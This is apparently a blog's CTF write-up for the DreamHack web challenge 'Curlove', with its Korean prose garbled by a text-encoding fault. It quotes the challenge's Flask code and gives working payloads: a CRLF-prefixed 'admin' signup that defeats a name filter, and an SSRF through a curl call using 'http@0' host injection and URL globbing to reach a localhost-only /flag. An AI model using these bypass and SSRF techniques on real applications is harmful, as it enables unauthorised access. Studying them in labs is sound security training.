Curlove
Description
curl ๊ธฐ๋ฅ์ ์ฌ์ฉํ ์ ์๋ ์์คํ
์
๋๋ค./flag
์๋ํฌ์ธํธ๋ก ์์ฒญํ์ฌ ํ๋๊ทธ๋ฅผ ์ป์ด์ฃผ์ธ์.
Attack
admin
์ผ๋ก ๋ก๊ทธ์ธํ์ฌ /flag
๋ก ์์ฒญํ์ฌ FLAG๋ฅผ ํ๋ํด์ผํ๋ค./flag
ํ์ด์ง๋ localhost์์ ํธ์ถ์์๋ง FLAG๋ฅผ ๋ฐํํ๋ค.
COPY
@app.route("/flag", methods=["GET"]) def flag(): ip_address = request.remote_addr if ip_address == "127.0.0.1": return FLAG else: return "Only local access allowed", 403
COPY
@app.route("/signup", methods=["GET", "POST"]) def signup(): if request.method == "GET": return render_template("signup.html") if request.method == "POST": username = request.form.get("username") password = request.form.get("password") if username == "" or password == "": return render_template("login.html", msg="Enter username and password") m = search(r".*", username) if username or m: if m.group().strip().find("admin") == 0: return render_template("signup.html", msg="Not allowed username"), 403 else: username = username.strip() sha256_password = sha256((password).encode()).hexdigest() register_user(username, sha256_password) return redirect("/login")
๋จผ์ admin
์ผ๋ก ๋ก๊ทธ์ธํ๊ธฐ ์ํด์๋ ํ์๊ฐ์
์ ์งํํด์ผํ๋ค.
ํ์ง๋ง m = search(r".*", username)
๊ตฌ๋ฌธ์ ํตํด ์
๋ ฅํ username
์์ admin์ด๋ ๋ฌธ์์ด์ ๊ฒ์ฌํ์ฌ ํํฐ๋งํ๋ค.
ํด๋น ๊ตฌ๋ฌธ์ multiline flag
์ต์
์ด ์์ด, ์ฒซ๋ฒ์งธ ์ค๋ง ๊ฒ์ฌ๋ฅผ ํ๊ฒ ๋๋ค.
๋ฐ๋ผ์ CRLF(%0D%0A)
๋ฅผ ์ฌ์ฉํ์ฌ ๊ฐํ ํ admin์ ์
๋ ฅํ๋ฉด ํด๋น ์ ๊ท ํํ์์ ์ฐํํ์ฌ admin์ผ๋ก ์์ํ๋ ๊ณ์ ์ ์์ฑ ํ ์ ์๋ค.
COPY
POST /signup HTTP/1.1 Host: localhost ... Connection: keep-alive username=%0d%0aadmin&password=123
admin
์ผ๋ก ๋ก๊ทธ์ธ ์ดํ ์๋์ ๊ฐ์ ํ๋ฉด์ด ๋ณด์ด๊ณ ํด๋น ๊ธฐ๋ฅ์ /admin
์ผ๋ก ์์ฒญ์ ๋ณด๋ธ๋ค.

@app.route("/admin", methods=["GET", "POST"]) def admin(): if not session: return redirect("/login") if session["isAdmin"] == False: return redirect("/guest") if request.method == "GET": return render_template("admin.html") if request.method == "POST": url = request.form["url"].strip() #url์ด http๋ก ์์ํ๊ณ 7~20๋ฒ์งธ ๋ฌธ์๋ dreamhack.io์ด์ฌ์ผํ๋ค. if (url[0:4] != "http") or (url[7:20] != "dreamhack.io/"): return render_template("admin.html", msg="Not allowed URL") #url์ .. ๊ณผ %๋ ํํฐ๋ง if (".." in url) or ("%" in url): return render_template("admin.html", msg="Not allowed path traversal") #url์ , ์ด ์๊ฑฐ๋ flag๋ก ๋๋๋ฉด ์๋จ if url.endswith("flag") or ("," in url): return render_template("admin.html", msg="Not allowed string or character") try: print(url, flush=True) response = subprocess.run( ["curl", f"{url}"], capture_output=True, text=True, timeout=1 ) return render_template("admin.html", response=response.stdout) except subprocess.TimeoutExpired: return render_template("admin.html", msg="Timeout !!!")
์
๋ ฅํ URL์ ํตํด /flag
๋ฅผ ํธ์ถํด์ผํ๋๋ฐ ๋ค์ํ ํํฐ๋ง์ด ์กด์ฌํ๋ค.
http://dreamhack.io/@localhost/flag
๋ /
์ดํ์ @
๊ฐ ์
๋ ฅ์ด๋์ด์ ์ด๋ฏธ /
์ ํตํด URL์ ๊ตฌ์กฐ๊ฐ ์์ฑ๋์ด์ ๊ณต๊ฒฉ์ด ๋ถ๊ฐํ๋ค.
์ฒซ๋ฒ์งธ ํํฐ๋ง ์กฐ๊ฑด์์ http ์ดํ 3๊ฐ์ ๋ฌธ์๋ฅผ ์กฐ์ํ ์ ์๋๋ฐ ์ด๋ฅผ ์ด์ฉํด @
๋ฅผ ํตํ Host Injection์ ์๋ํ๋ค.
์๋ URL๋ก curl ์์ฒญ์ ํ๊ฒ ๋๋ฉด 0.0.0.0 ์ผ๋ก ์์ฒญ์ด ์กฐ์๋์ด ์ ์ก๋๋ค.
curl -v http@0/dreamhack.io
localhost์์ ๋ณด๋ด๋ ์กฐ๊ฑด์ ์ถฉ์กฑ๋์๊ณ , /flag
ํ์ด์ง๋ง ํธ์ถ ํ ์ ์์ผ๋ฉด ๋๋ค.
์์ curl ์์ฒญ์์ /dreamhack.io
๊ฐ URL Path๋ก ์ธ์์ด ๋๋๋ฐ, /flag
ํธ์ถ์ ์ํด์๋ http@0/dreamhack.io/../flag
์ ๊ฐ์ ํํ๊ฐ ๋์ด์ผํ๋ค.
ํ์ง๋ง ์ฝ๋์์ ..
์ Path Traversal๋ก ํํฐ๋ง์ด ๋๊ณ ์๋ค.
curl ์ URL globbing
๊ธฐ๋ฒ์ ํตํด ์ด๋ฅผ ์ฐํํ ์ ์๋ค.
URL globbing
๊ธฐ๋ฒ์ curl ์์ ๋์ผํ URL ๋ฒ์๋ฅผ ์ฝ๊ฒ ์ง์ ํ์ฌ ์ฌ๋ฌ๋ฒ ์์ฒญ์ ๋ณด๋ผ ์ ์๋ ๊ธฐ๋ฅ์ด๋ฉฐ, ์๋์ ๊ฐ์ด ์ฌ์ฉํ ์ ์๋ค.
curl -O "http://example.com/{one,two,three,alpha,beta}.html"
์ด๋ฅผ ์ด์ฉํด ํด๋น ํํฐ๋ง์ ์ฐํํ๋ฉด ์๋์ ๊ฐ์ ์์ฒญ์ด ์์ฑ๋๊ณ Flag ํ๋์ด ๊ฐ๋ฅํ๋ค.
http@0/dreamhack.io/{.}./flag#
'๐ก๏ธCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Switching Commnad (0) | 2024.01.07 |
---|---|
Secure Mail (0) | 2024.01.03 |
Shell_Basic (0) | 2023.10.08 |
rev-basic-4 (0) | 2023.09.28 |
rev-basic-3 (0) | 2023.09.19 |
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote
๋ค๋ฅธ ๊ธ
-
Switching Commnad
Switching Commnad
2024.01.07 -
Secure Mail
Secure Mail
2024.01.03 -
Shell_Basic
Shell_Basic
2023.10.08 -
rev-basic-4
rev-basic-4
2023.09.28
๋๊ธ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.